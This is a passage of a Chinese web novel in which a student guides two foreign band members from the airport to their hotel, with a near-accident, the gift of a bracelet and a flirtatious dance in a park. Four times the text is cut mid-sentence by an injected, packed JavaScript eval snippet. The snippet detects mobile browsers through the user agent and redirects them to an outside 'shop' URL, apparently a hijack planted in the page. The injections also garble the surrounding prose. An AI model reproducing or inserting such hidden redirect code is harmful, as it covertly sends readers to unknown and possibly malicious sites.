段子良走上前去,用英语询问道:“发生什么了吗?” 诺特斯听到她的问询,转过身来,也用英语回答,“没什么,老莱诺不太习惯坐这些交通工具,十几个小时的飞机,他已经筋疲力尽了,我陪他散散步,步行去酒店,你们带着其他的人先走吧。” 他说英语,庄森芽总觉得有点不适应,这感觉有点违和,还有点新奇。 男人口音听不出是哪的,当然这也和她没接触过几个外国人有关。 不过,他干嘛不用本土语言交流呢?那多方便…… “那我叫个人跟着你们吧。”段子良说完就切换成了中文模式,转头冲着接机来的部员问,“你们谁跟一下这两个人?带他们去酒店,不然他们可能会走丢。” “那个,部长,我可以……”一个女生站出来说。她名叫沈芸,外联部开会时主动站出来说要接机,庄森芽记得她好像是乐队还是诺特斯的粉丝来着。 女孩留着一头秀丽的黑发,直垂到腰际,脸上化着伪素颜淡妆,上身穿了件白色的大开领长袖毛衣,下身是同色的包臀裙,一双过膝靴箍住两条细长笔直的腿,模样比她开会那时精致多了,看起来是为了今天的接机特意打扮过的。 反观庄森芽,下身是条休闲裤,上身是件宽松的棒球服,头上戴着个棒球帽,晚上最后一堂课下课就赶了过来,一身疲惫,来不及打扮,也没觉得是个需要打扮的场合,更别说化妆——她还没开始学呢。 “你英文跟他们交流没问题哈?”段子良问沈芸。 说话的时候,沈芸时不时斜看诺特斯一眼,“嗯。” “酒店地址记住了?” “记住了。” “行,那你带着他们过去,路上小心点,有什么事及时联系。”段子良嘱咐,转而冲诺特斯和那个老莱诺说,“两位先生,这个女生会带你们去酒店,有什么事情直接和她说就好,她会转告给我们的。” 诺特斯点点头,看起来没什么异议。 庄森芽给了他一个眼神,其中有警告的意味,那意思是让他悠着点,不许对女同学做出什么伤天害理的事。但诺特斯戴着墨镜,看不出来他视线落在哪里,庄森芽也不知道对方有没有领会到她的意思。 “行,我们兵分两路吧。”段子良登上了面包车,关上了副驾驶的车门,车辆随机启动起来,向酒店的方向行驶。 另外几个同学也要走人,庄森芽凑过去和他们研究直接去打车还是叫一辆网约车。 另一边,沈芸则来到了诺特斯与老莱诺的身前,微微低头以示友好。 诺特斯也朝她点点头。 她伸手将头发撩向耳后,露出白皙的脖颈来,双手有些腼腆地抓着手提包挡在身前,说话的时候要么是看着地面,要么只盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208463|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诺特斯一个人,“那……跟我走吧?我带你们去酒店。” “请带路吧。”诺特斯看着她说。 “好。”沈芸轻柔地应了一声,率先走上机场的步行道,而诺特斯也十分配合地抬脚跟了上去。 庄森芽斜睨了他们一眼。 到现在为止都没有什么意外发生,诺特斯倒是挺老实的,希望他能保持这个状态坚持到明天的演出结束吧。 然而事与愿违,就在她这么想的时候,突发情况发生了。 但不是诺特斯惹的祸。 贝斯手老莱诺不知道为什么停在原地不肯动弹,他坐在一根石墩子上,用希腊语言辞激动地说着些什么,伸手指了一下沈芸,双臂张开高举,做出那种通用的‘天理难容’的手势。 诺特斯折返了回来,蹲在他身边,低声对他说话,似乎在好言相劝。 但是老莱诺梗着脖子,一点退让的意思都没有。 沈芸也走了回来,可是她一靠近老莱诺,后者就跳起来,当她是瘟神一样躲到了另一边,嘴里还在不断嘀咕着什么。 沈芸脸上先是一片茫然,而后咬起嘴唇,表情渐渐变得很委屈,立在原地,求助似的看向诺特斯。 庄森芽见事情似乎不对劲,走上前去询问情况,“怎么了吗?” 诺特斯把墨镜掀起来,戴在头顶上,“老莱诺……呃,有点认生。” “认生?”庄森芽重复这个词。 “陌生的人,陌生的环境,他不适应。”诺特斯说。 确认自己没有听错、也没有领会错这个单词的意思后,庄森芽看了老莱诺一眼。 老人家靠在一根圆形的石柱旁边,侧对着众人,一顶防风帽遮住了他的脸,显得整个人不是那么好接近。 但她能理解他的孤僻,或许老人一辈子都没有离开自己生活过的国家,环境突然发生巨大的转变,谁都需要适应。 庄森芽自己从曾经的大宅子里搬到不足一百平的小公寓时也郁闷了好久,甚至还想过离家出走,但理解父母的苦衷之后,就没有那种不负责任的想法了。 “我能跟他说说话吗?”庄森芽没什么把握,但这么僵持下去也不是办法。 诺特斯有点无奈地耸肩,“他听不懂英语。” “那……那你能帮我跟他翻译一下吗?” “可以。”诺特斯露出一个莫名其妙的笑。 庄森芽疑惑这家伙笑什么,但没问出来,现在不是说这个的时候。 她用自己蹩脚的英语努力陈述自己想表达的意思,“可不可以帮我跟他说,我们只是想帮他安全到达酒店,如果他不喜欢有人陪同的话,我们也可以安静地跟在后面不远的地方。” 诺特斯听完了,转头向老莱诺说了段希腊语,他说得不快,声音中金属的质感被拉长了,显出一种莫名的缱绻感。 话音落下,老莱诺抬起头来,目光透过防风帽的帽檐刺过来,盯着庄森芽。 那视线本应是狠厉的,但眨了眨却变得柔和起来,他朝她努努嘴,短暂地回了诺特斯一句希腊语。 诺特斯转过头来,对庄森芽说:“他希望你领路。” 51. 学习一种语言最快的方法 庄森芽有点意外,指着自己,“我?” 老莱诺离开了柱子,朝她走过来,伸出一只带着棕色皮质手套的手,模样看起来是要跟她握手。 庄森芽有点懵,但还是握了上去,而后被用力地甩了两下。 “请。”老莱诺说着可能是他为数不多掌握的英文单词。 “噢噢,那我、我和我的同伴们说一下,请等我一下。”庄森芽忙不迭和正在叫网约车的同学们喊道,“你们先走吧!我和乐队的这俩人一起走。” “好,别忘了和部长说一声,路上小心点啊。”有人回应她。 庄森芽紧张地翻出聊天记录,想找一下酒店的定位,任务来得太突然,她什么都没准备。 边忙着,她边说:“请等我一下,很快就好。呃,我们先沿着这条……(靠,步行道怎么说来着)……路,我们先沿着这条路走,走出机场,就能看到外面的呃,外面的路。” 只有当需要的时候,她才发现自己的英语水平差得有多令人发指。但现在也管不了那么多了,只能硬着头皮上。 就在这个时候,她听到诺特斯在旁边轻笑了一声。 投去视线,发现男人正以一副看好戏的模样盯着她。 庄森芽混乱的脑袋反应了半天,终于转明白了。 她刚才说的那么多老莱诺又听不懂,结果四舍五入完全是说给诺特斯听的。 但这家伙会汉语啊!自己还费什么劲呢? 诺特斯也是,就看她在这像个小丑一样磕磕绊绊,还笑出声嘲讽她,简直太恶劣了。 刚想怒斥他些什么,却被打断了。 一旁的沈芸走上前来,自荐道:“我也跟着一起去吧,我的同伴可能英语不是特别好,我担心你们交流可能会有点问题。” 庄森芽感觉内心受到了一百点暴击,居然被人用这么温柔的语气贴脸开大了。 “多谢好心。”诺特斯语气带着歉意,“但老莱诺说这姑娘一个人就行。” “可是……”沈芸还想说些什么,老莱诺却爆发了一阵激烈的怒吼,吓得她即刻躲到了诺特斯身后,拽着他的衣角抖个不停。 诺特斯看了眼身后,脸色有点苦恼,转而对庄森芽说:“劝劝你的同伴?反正老莱诺我是劝不动。” 庄森芽轻轻按住沈芸的肩,试图让她平静下来,“沈芸,你和其他同学走吧,没关系,我应付得来。” 英语拉胯又怎样,对方会说汉语不就解决了。 沈芸抬头看了眼诺特斯,但男人回馈给她的是背影。她目光又落在庄森芽脸上,瞬间,表情中就浮现出一种仇怨的情绪,好像她不能陪同两人是对方的错一样。 庄森芽被她瞪得莫名其妙,心想:吼你的不是老莱诺吗,瞪我干什么…… 沈芸挣开了她的手,白了她一眼,头也不回地走了,脚下的靴子在地面踏出愤怒的声响,而后,她和其他的同学汇合,坐上了离开机场的车。 当下只剩下她与诺特斯、老莱诺三人。 庄森芽遗忘了小小的插曲,打开了地图导航,带着他们往机场外面走。 终于能自由地说话了,她第一件事就是质问。 “你在装什么,不是会说汉语吗?” 诺特斯看起来心情很好,身上惯有的那股狠厉的气息都被晚风吹散了,“能交流的话,麻烦事会变多,我不喜欢麻烦。” 她怎么完全听不懂这个逻辑。 “在什么地方说什么语言不是显而易见会方便很多吗。”庄森芽和他对质起来,反正去酒店的路上也没什么事,找个看不顺眼的人呲他两句图个解闷。 “那岂不是谁都能来找过来说两句话,本来因为语言不通而不会提出来的,在得知对方能沟通之后,就纷纷都脱口而出——比如打探隐私什么的。” “哦,所以你是为了防止别人把你的真面目逼问出来才这样?”她怎么不知道他还有这么瞻前顾后的稳重一面。 “没错,就是这样。”诺特斯顺着承认了,语气十分地轻盈,也不知道是真是假,“所以,帮我个忙,在你的同伴面前替我隐瞒这一点呗?” 庄森芽设身处地地思考了一下,如果大家知道诺特斯熟练掌握本土语言的话,说不定真的会围着他打探这个打探那个,一般对他无感的人也就罢了,但关键是负责这两天对接的外联部成员中有沈芸那样的人,她是诺特斯的粉丝,追根问底的动力肯定比其他人都要强烈。 “好吧,我可以装作不知道。”庄森芽退让了一步,但这也是为了她自己考虑,要是诺特斯把漫画的事情说漏了嘴,遭殃的可就是她了,“但我有条件。” 诺特斯轻笑一声,把头顶上墨镜收起来,放进了口袋里,他全身上下就带了个手机,一副轻装上阵不怕走失的模样,不像一旁的老莱诺还背着一个登山包。 “你还真是爱讲条件啊。” 庄森芽没理会他的阴阳怪气,“后面,当我说英语的时候,你要是再敢笑一下,我要你好看。” 男人嘴角的弧度还挂着,却是扬扬眉,像是没想到是这种条件。 她可不管他现在在想什么,反正提出的条件对她来说很重要。 是人就有自尊,拉不拉胯自己知道,不需要旁人来嘲弄告知。 诺特斯低头看向身边的庄森芽,“你英语是谁教的?” “怎么?”庄森芽瞪视回去。 但凡对方敢说一句贬低她的话,她就……她就……她好像也不能把他当场怎么样,但是这笔仇她会记下……! “没什么,就是……”诺特斯直视前方。他们已经离恢宏气派的机场主楼有一段距离,上茂国际机场离市区比较近,再往前走一走就能看到住宅区中的林荫路。他盯着交汇在一起的道路尽头,两手插兜,步履悠然,“你说英语的时候很可爱。” “哈?”庄森芽脸部扭曲,只想跳起来给对方脑袋来一下,再使劲晃一晃,看看里面装的是不是浆糊。 “就像个初学者,青涩又有礼貌,”诺特斯的目光垂下来,语气放轻了,像是在哄劝,“平时也和我这么说话好不好?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208464|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄森芽心里没由来咯噔一下,她判断不好这是因为什么,只能认为心率不稳的原因是——这句话被诺特斯用那种语气说出来实在是太恐怖了。 她很快反应过来,对方明里暗里还是在讥讽她英语水平很菜,于是没好气地白了他一眼,“想得美。” 她今晚回去就把骂人的话都学一遍,明天她就是优美语言的使用者,句句不离开对方老母。 秋季的天暗得很快,现在是晚上八点多,天幕很久之前就是一片漆黑了。 他们离开了机场的地界,来到了更有生活气息的住宅区。 一路上,庄森芽走在前面,而诺特斯和老莱诺则跟在她的身后。她的视线片刻不离导航地图,生怕一个路口走错把他们带偏了。 诺特斯怎样倒是无所谓,关键是不想让老莱诺多绕路,他看起来快有六十岁了,脸上挂满了沧桑,本就坐了十几个小时的飞机没有休息,庄森芽不希望他再在路上奔波太长时间。 这两人跟在她身后,时不时用希腊语交谈着什么,基本是诺特斯在说话,似乎是在给老莱诺介绍这附近的建筑都是什么。 期间,部长段子良给她打来一次电话,说自己从其他人那里得知庄森芽接替了沈芸的任务,正在把两个步行的乐队成员往酒店带。部长问她有没有什么需要帮忙的,庄森芽说没有,一切顺利。段子良说有什么事及时联系,就挂断了电话。 三人走在一条林荫道上,秋日的萧瑟剥夺了些许树木的绿叶,但还有顽强的品种在生生不息。 距离步行到达酒店差不多还要半个小时,接机群里发来消息说,已经给乐队成员们买好饭了,让她把人带过来就行。 庄森芽在群里回复了一句「收到」,并发送了自己的位置过去,让其他人知道他们距离多远,大概还有多久到。 而就在她低头摆弄手机的时候,突然,身体被人猛地拉了一下,手机都差点没拿稳。 一辆急速行驶的摩托车从她身边擦过,带着嚣张的轰鸣,它没有走直线,而是危险的左右摇摆着,驾驶座上的人要么是疯了,要么是喝了不少酒。 庄森芽站稳了,这才发觉自己倒进了另一个人的怀里,一条有力的臂膀搂着她的肩,胸口传来对方心脏的鼓动。 刚才要不是诺特斯出手,她可能就要被摩托车撞个底朝天了。 他开了她,没说什么,既没告诫她要小心,也没讽刺地说一句“手机有那么好看吗”,只是回到老莱诺的身边,继续像个没事人一样往前走。 庄森芽被他们赶超了过去,一时间有些呆愣。 她自认是个有礼貌的人,所以刚才脱口而出想对诺特斯说谢谢,但这类话语,她总是没办法向对方说出口。 诺特斯似乎也没指望她感谢他,背身离开得十分干脆潇洒,就仿佛他是再把一条搁浅的鱼扔回海里,又或者顺手给放在电脑旁边的敞口矿泉水瓶拧上盖子,动作自然而然,也没指望鱼或者电脑开口说话表达感激。 庄森芽原地心情复杂地站了半晌,又抬腿跟上了前面的两人。 52. 三个月的期限 离近了,恰巧诺特斯转过头来,朝她抛出一个问题。 “我突然想起来,之前忘记问你一件很重要的事情。” “什么?” “《灵月十四》这部漫画,你打算什么时候完结?” 庄森芽回想了一下,他们好像的确没讨论过这件事情,她只是作出承诺,说一定会给诺特斯一个存活下去的结局——而在大结局那天,庄森芽其实并不会给他想要的。 她心想,可能是他想得到一个确切的时间,以来处理这个世界的事情,可能还需要好好地和身边的朋友道个别,以及解散这个乐队。 不知道为什么,想到这里,她却觉得胸口有点沉闷。 可能是因为夜深了,她却连一口饭都没吃,身体在闹什么小脾气吧。 对于漫画完结,庄森芽心里大致有些时间上的概念,于是乎,她给出了一个模糊的日期,“今年年底吧。” “现在是九月中旬,那就是还有三个多月?” “嗯。” 诺特斯望着马路对面,模样有些感慨,“三个多月后,我就见不到你了啊。” 咯噔。 又来了。她心想。 从刚才开始,心脏就跳得莫名其妙。 她该不会是得了什么早搏之类的病吧?听说人要是过度操忙、精神紧张之类的的话,就会很容易得这种病,她觉得自己的状态很符合这种情况。 “反正你也不是很想见到我,不是吗。”庄森芽说。 诺特斯放缓了脚步,退到她身边来,“你这么认为?” “我动动笔就能决定你的生死,对你来说我就是把悬在脖子上的刀,你肯定希望赶紧摆脱我,早点结束这一切。” 诺特斯咧开嘴角,没说话,但那种有点阴森的表情回到了他的脸上。 看吧,一聊到生命安危的时候,他就认真起来了。 没有感受到生命威胁时,他能以一副轻松坦然的姿态去处理周围的事情,甚至对人的态度都平和许多;但一旦他们聊到这件事的时候,诺特斯就像变了个人一样——不,应该说那才是他原本的模样——目光狠厉,周身散发着低压的黑色气息,好像随时随地都会大动干戈。 但这没什么不能理解的,被威胁到性命,没人还能笑得出来。 而庄森芽又似乎很擅长踩雷,相处下来这些天,她没少感受到来自于男人的压迫。 但她就是控制不住在对方爆发的边缘试探。 这可不是因为她喜欢犯贱,只是因为这样能快速探清对方的底线,只不过风险很大就是了。 两人交流的时候,老莱诺也凑到了他们身边,用希腊语问了诺特斯一句话。 诺特斯有些无奈地一笑,摇摇头,语气听起来像是在承认什么。 老莱诺大笑,弄得庄森芽有点诧异地盯着他。 原来这个有点阴沉的老人可以笑得这么大声。 老莱诺拍了拍诺特斯的肩,而后,目光落在庄森芽的身上。 庄森芽眨眨眼。 咦,有我什么事吗? “你们在说什么?”她朝诺特斯问。 诺特斯没解释,反而是老莱诺走过来,把他的登山包挪到胸前,敞开拉锁,从里面翻出了一串银色的手链,递给庄森芽。 她有些困惑的盯着老莱诺,不明白他这是什么意思。 老人往前递了递,用口音浓厚的英语对她说,“收下。” “给我?”她指着自己。 老莱诺点头。 银色的手链在月光下泛着清冷的辉光,它做工看起来很精细,但又有着十足的年代感。 怎么看都是一件贵重的礼物,庄森芽有点犹豫要不要收下来。 “拿着吧。”诺特斯适时说道,“他喜欢到处送人东西,尤其是看得顺眼的人。” 庄森芽想起来诺特斯送给她的那台笔记本电脑,她还记得他当时说,那台电脑就是老来诺送给他的。 没想到这个老人家出手这么阔绰。 “你要是不收,他会很难过。”诺特斯补充了一句。 庄森芽听了,诚惶诚恐地接过来,“谢谢……” 老莱诺也拍了拍庄森芽的肩,愉快地用希腊语说着些什么。 一只手戴手链不方便,她低着头,正研究怎么发力,余光就见诺特斯凑了过来。 他托着她的手腕,自然而然地帮她把它戴上,调整好了大小,又系上锁扣。 她偷偷看了诺特斯一眼,男人正专注地调节着小物件,没注意到她的视线。 庄森芽想不明白。 又没有开口请求他,他干嘛要帮忙……? 银色的手链缠绕在手腕最细的地方,优雅高洁,她顿时觉得自己这条胳膊一下就贵重了起来。 还没等发表什么感想,这个时候,周围传来了一阵微小的乐声,似乎某处正在举行小型的音乐会。 老莱诺像是突然有了兴致,四下打量着,朝诺特斯问话,似乎是在问他声音是从哪里来的。 庄森芽低头打开手机的地图软件,拉近又缩小,她在几百米外的地方看到了一个公园。 “应该是这里。”庄森芽把手机递给老莱诺看。 老莱诺:“去?” 她没理解老人家的意思,“什么?” “他想去公园转转。”诺特斯替他翻译。 庄森芽看了一眼时间,马上就要九点了,要是再去公园转一圈的话,回到酒店可能已经是十点,而她再从酒店回学校,就差不多要到十一点了。 时间有点紧张,她不是特别情愿,但看着老莱诺那副期盼的模样,拒绝的话也说不出口。 庄森芽最终妥协道:“那我们就简单逛一逛吧,酒店那边的人还在等着你们回去吃饭。” 诺特斯:“好。” 于是乎,几人临时改变了目标,走向城市内的热闹公园。 公园里有一个巨大的广场,乐声就是从广场上传来的。 那里有一个小型的乐队,有鼓手,有贝斯手,有吉他手,还有个主唱,他们似乎在进行即兴演出。 这还真是巧了,可能乐队之间有什么吸引力,让一个碰上了另一个。 老莱诺似乎对音乐相关的东西很感兴趣,一个人就朝乐队走了过去,也不管庄森芽和诺特斯跟没跟上来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208465|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>来到了近前,老莱诺盯着贝斯手,表情十分赞扬,跟着节拍点着头。 或许是音乐人之间都有什么共性,即便语言不通,贝斯手只是对他做了一个邀请的手势,老莱诺便懂了,走上前去接过了对方的乐器。 老莱诺弹了几个音,这些乐队成员就知道他想弹什么曲子,跟着配合地演奏起来。 庄森芽和诺特斯也凑上前来,与此同时,一支颇有异域情调的歌曲响了起来,旋律非常的婉转悠长,主唱哼着没有歌词的人声,听着十分的深情动人。 就在欣赏的时候,庄森芽余光中看到诺特斯朝她伸出一只手,手心朝上,是一个邀请的动作。 她不理解这是什么意思,只见男人微微俯下身来,另一只手扣在胸前,金棕色的眼睛专注地盯着她,“能请你跳一支舞吗,小姐?” 他这句话被旁边的人听见了,引发了小范围的骚动,有人配合着乐声鼓掌,似乎在期待一场即兴的舞蹈表演。 庄森芽有点手足无措。 诺特斯突然搞什么?她可不会跳舞啊。 “我——” 她正要拒绝,男人柔声打断了她。 “这是只唱爱情永垂不朽的曲子,如果不配上伴舞,乐曲里的灵性就会消散,演奏的人也会因此而缩减寿命。” 这话听起来就很迷信,仿佛是某个偏远地区的神话故事中才有的桥段,庄森芽不会信他的半句鬼话。 诺特斯的姿势未动,依然微微倾身,等待着她的回应。 他这副优雅的姿态吸引了不少视线,围观乐队的人群频频侧目,打量着这对俊男靓女。 庄森芽知道自己要是答应了的话,接下来等待她的一定是社死,她只会变成一个四肢不协调的小丑。 而且,和诺特斯跳舞?她可不想把人生第一次这么宝贵的共舞经历交给这个—— “唔啊!” 不知是谁在背后推了她一下,庄森芽一下子扑进了诺特斯的怀里,还没等站稳,就听男人说:“多谢赏光。” 被动献身的人在内心哀嚎。 赏什么——这不是她的本意啊……! 像是怕她逃跑似的,诺特斯一下子揽住了怀里的腰肢,另一只手攥紧她的手,“手搭在我肩上。” 庄森芽微微挣扎了一下。很好,男人的力气还是一如既往的大。 她放弃了挣脱,只觉得自己有种平静的死感。 发生了什么意外她可不管,比如把对方的鞋踩掉了之类的。 她有些僵硬地把手搭了上去。 比起不配合对方所带来的畅快,她还是选择了体面,因为觉得自己如果不配合诺特斯的话,对方肯定就算拖着她也要把这支舞跳完。 那会是什么尴尬的场面,简直不敢想。 她倒也不是没有在乎的人在这个世界上了。 跳一支舞又不会掉块肉,看别人跳舞都挺轻松的,不就是摆臂摆腿吗,随随便便跳一跳,眼睛一闭一睁就过去了。 这么想着,庄森芽视死如归地盯着诺特斯。后者满意地笑了。 她在心想着:看你能笑到什么时候,等着吧,我绝对给你使绊子。 53. 抒情舞 乐曲进入下一个节拍的时候,两人舞动了起来。 庄森芽顿时觉得自己的双腿像灌了铅一样,沉重又迟钝,好像怎么动都不对劲。 她的四肢在各自为政,腿动的时候手就不会动,手动的时候双腿就僵住了,精致的脸蛋紧绷着,在酷爽的九月额头几乎都要冒一层汗出来。 诺特斯带着她转圈,庄森芽转得头晕眼花,走两步就控制不住往男人身上倒,看起来像是醉了。 她也不想这样,可是跳舞真的好难啊……!刚才是她狂妄自大了,说了些什么‘肯定会很轻松’之类的话,她收回前言,对不起,能把舞蹈跳得像是小脑萎缩一样是她的问题。 “放轻松。”诺特斯用只有两人才能听见的声音说,“把身体交给我。” 庄森芽心想,她才不要,她要掌握自己身体的主动权。 可话虽这么说,在力量上又拧不过对方,每每想按照自己的轨迹做动作,就被带得磕磕绊绊的。 为什么诺特斯就不能学着配合她的舞步?庄森芽在心中愤愤不平地想。 当乐声到达高潮时,突然,诺特斯松开了她的腰,将她像个陀螺一样一下子甩了出去。 “唔啊!”庄森芽只觉得身体在转着圈,视野也晃成了一团乱。 以为自己就要这么重心不稳摔在地上的时候,男人又接住了她。 膝盖打了个弯,上身与地面几乎平行,后背被诺特斯托着,男人自上而下俯视着她,脸上有一种绝对不会让她坠落的自信。 背后的手臂一个发力,他又把她提了起来,惯性让她撞进诺特斯的怀中。 庄森芽有些气愤,总觉得自己在被对方把玩于鼓掌之中,但又没什么挣脱的办法,只能被他带着,艰难地做出各种动作。 几次,他们几乎是脸贴着脸擦过,距离暧昧到连呼吸都感受得到。 她开始觉得有点不对劲,这个舞步为什么这么暧昧?有数不清的肢体接触和试探性的动作。 刚才诺特斯说什么来着,说这是支唱爱情的舞曲?难道是因为这个才设计了这么多交互性的动作吗。 又一次,诺特斯扶着她下腰,两人的距离极近,鼻尖几乎要相触在一起。 而乐声在此刻戛然而止。 两人的动作也就停在了这一刻,诺特斯没有把她扶起来,自上而下用他那双金棕色的眼睛专注地盯着她,它像是蜜酒,盈着蛊惑人心的光。 庄森芽现在的姿势不好发力,仅仅是稳住平衡就已经很吃力了,感觉自己现在就像是一条砧板上的鱼,什么也做不了。 眼前,男人微微偏头,扣住她的后脑,再度拉近两人之间的距离,嘴唇之间只有一指的间隔。 庄森芽顿时紧张地绷紧了全身。 卧槽卧槽,他要干什么? 她眼睛瞪得大大的,像是受惊的动物一样愣住了。 “……最后这个动作就不做了。”诺特斯没有更进一步的举动,他低哑的声音响起,听起来邪魅蛊惑。瞬间的犹豫过后,嘴唇擦过她的脸颊,贴在耳边,轻吻了一下她的耳垂,“用这个代替。” 诺特斯松开了她,周围响起了观众接连不断的掌声。 “跳得不错。”男人笑眯眯地冲她说。 庄森芽立在原地,有点傻眼,捂着自己的耳朵,感觉上面像有针刺一样,麻麻的,内部在嗡鸣,就仿佛男人刚才低沉的嗓音还在里面回荡。 她现在已经不在乎这支舞被她跳得有多难看了,脑海里只有刚才那最后一幅画面。 这个该死的诺特斯……都做了些什么啊? 非要拉着她跳舞不说,还把这支舞跳得这么纠缠不清,最后还…… 这家伙放到平日里去肯定也是个沾花惹草的,今天居然惹到她身上来了。 难道他是随时随地对谁都能发情的那种人?简直风气败坏……! 不知为何,心脏跳得有点厉害,她把它归咎于这支舞消耗了太多的体力,毕竟这对一个不会跳舞的人来说简直是折磨,更何况她还在一直和诺特斯做对抗,虽然没什么成效。总而言之,她能完整地把一支舞坚持下来已经是非常了不得了。 另一边,老莱诺演奏得十分尽兴,心满意足把贝斯还给了乐队,回到了他们的身边。 几人商量着打算继续步行去酒店。 要离开的时候,庄森芽这才注意到诺特斯的手还搭在她的肩膀上,她挣了一下没挣开。 周围有很多人在盯着他们,有的在夸刚才的舞跳得不错——庄森芽很怀疑对方不是真心的——有的夸老莱诺贝斯弹得好。她没好意思煞风景,想着忍一时风平浪静,到了没人的地方看她不给他来一个过肩摔。 当然,这只是存在于她脑内的美好幻想。 过肩摔什么的她一辈子都没尝试过,把一个高出自己一头的男人架起来,听上去腰随时都有可能崩断。 离开公园之后,庄森芽小跑了两步,窜到两人前方,不着痕迹地从诺特斯的手下挣脱出来。 “大概还有二十分钟的路程,加快一下步伐,争取十点之前到。”她说。 “我有点饿了。”诺特斯的声音在后方响起。 饭桶。庄森芽腹诽。 “忍着。” “老莱诺也饿了。” 庄森芽瘪瘪嘴,“所以叫你快点走,酒店里已经准备好晚饭了。” “这样啊。”诺特斯了然,“刚才你怎么不说?” 庄森芽没回话,只是在心里嘀咕:因为你饿不饿不重要。 二十分钟后,三人抵达了酒店。 部长段子良在大堂内等待,其他部员似乎已经走了。见到他们来了,她迎上前来,带着几人去前台办理入住。 就在这个过程中,酒店的电梯门开了,走出来几个人影。庄森芽望过去,发现那是其他的山野猫乐队成员。 乐队中的那金发的热情希腊人看到了诺特斯他们,跑过来说:“等你们好久了!出去逛逛?” 诺特斯拄着前台的大理石平面,侧过身来,“老莱诺说他想在酒店待着。” “那你呢?” “我陪他。” “好吧……”金发男人转了转眼珠,看到了诺特斯身边的庄森芽,他发出疑惑的声音,“嗯?” 男人俯下身子凑过来,围着她绕了一大圈,上下打量着。 “?”庄森芽感到困惑。 “啊。”金发男人似乎看出了什么,指着她,对诺特斯说,“难道她就是你提到的那个……” 听他这么说,庄森芽向诺特斯投去询问的视线。 什么意思,诺特斯向乐队成员提到过她?他说过什么? 诺特斯没有解释,两指捏过前台服务人员递给他的门卡,顾自走向电梯的方向,“明天还要演出,早去早回,佩布。” “我叫佩吉啊!”金发的男人冲诺特斯大叫,“两个月了,你还没记住我的名字!” 诺特斯以一个背影回应他。 两个月…… 庄森芽琢磨着这个时间。 这么看诺特斯也没来到这个世界多久,他居然已经这么自然地混入了人群之中。 这时候,段子良来到庄森芽的身旁,把一袋子打包好的披萨交给她,“森芽,你跟一下主唱和贝斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208466|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,把人送上去,看看他们还有没有什么其他需要。我去照应一下这几个要出去逛街的,晚点咱们在大堂集合。” 庄森芽一听,心想,成,看这个架势,今晚她是别想在凌晨之前回学校了。 这些人语言不通,也没带个翻译过来,只能仰仗他们全程做‘本地化导游’。 果然伺候人的活不好干。难怪之前都没人报名,还要靠段子良随机抓人。 “好的,部长。” 虽然心中一万个不情愿,她还是答应了下来。 能怎么办,其他人都走了,她也不能把部长一个人丢在这里,自己跑回学校呼呼大睡。 两人分头行动,段子良跟着佩吉和另外两个乐队成员离开了酒店;而庄森芽则快步跟上诺特斯与老莱诺,与他们一起进了电梯。 手里还拎着刚才部长交给她的披萨,她嫌它太重,就往诺特斯的身前一递。 男人接了过来,打开看了眼,“什么味道的?” “不知道。” “我想吃香橙派。” 你还点起菜来了。 庄森芽:“都这么晚了,去哪给你弄香橙派。” “老莱诺也想吃。”他故技重施。 她已经不会上当了,绝情地说:“你就这么转告给老莱诺,‘太晚了吃甜的对牙不好’,我相信他会理解的。” 他们走出电梯,按照墙上的标识找到了各自的房间,两个门之间站着一个服务人员,他们的行李已经被提前运上来了。 订房的时候给每个乐队成员都订了一间,是考虑到他们可能会比较注重隐私,不愿意和其他人睡一个屋子里。 两人把老莱诺送进房间,给他留下了足够的披萨和饮料,确保他没有什么别的需要,这才从他屋子里退出来。 “行了,好好呆着,明天演出之前不要出什么意外。”庄森芽站在诺特斯的房门口,盯着里面正在翻找行李的人,“明天会有另一伙人来接你们,下次见面会是在学校舞台后面的化妆室。” 诺特斯从行李里翻出来一把尤克里里,那看起来似乎是在二十几天前他在校园宿舍楼下弹奏的那一把,琴身是棕色的,边缘镶着一圈钻石一样的点缀,表面十分有光泽,看起来被照料得很好。 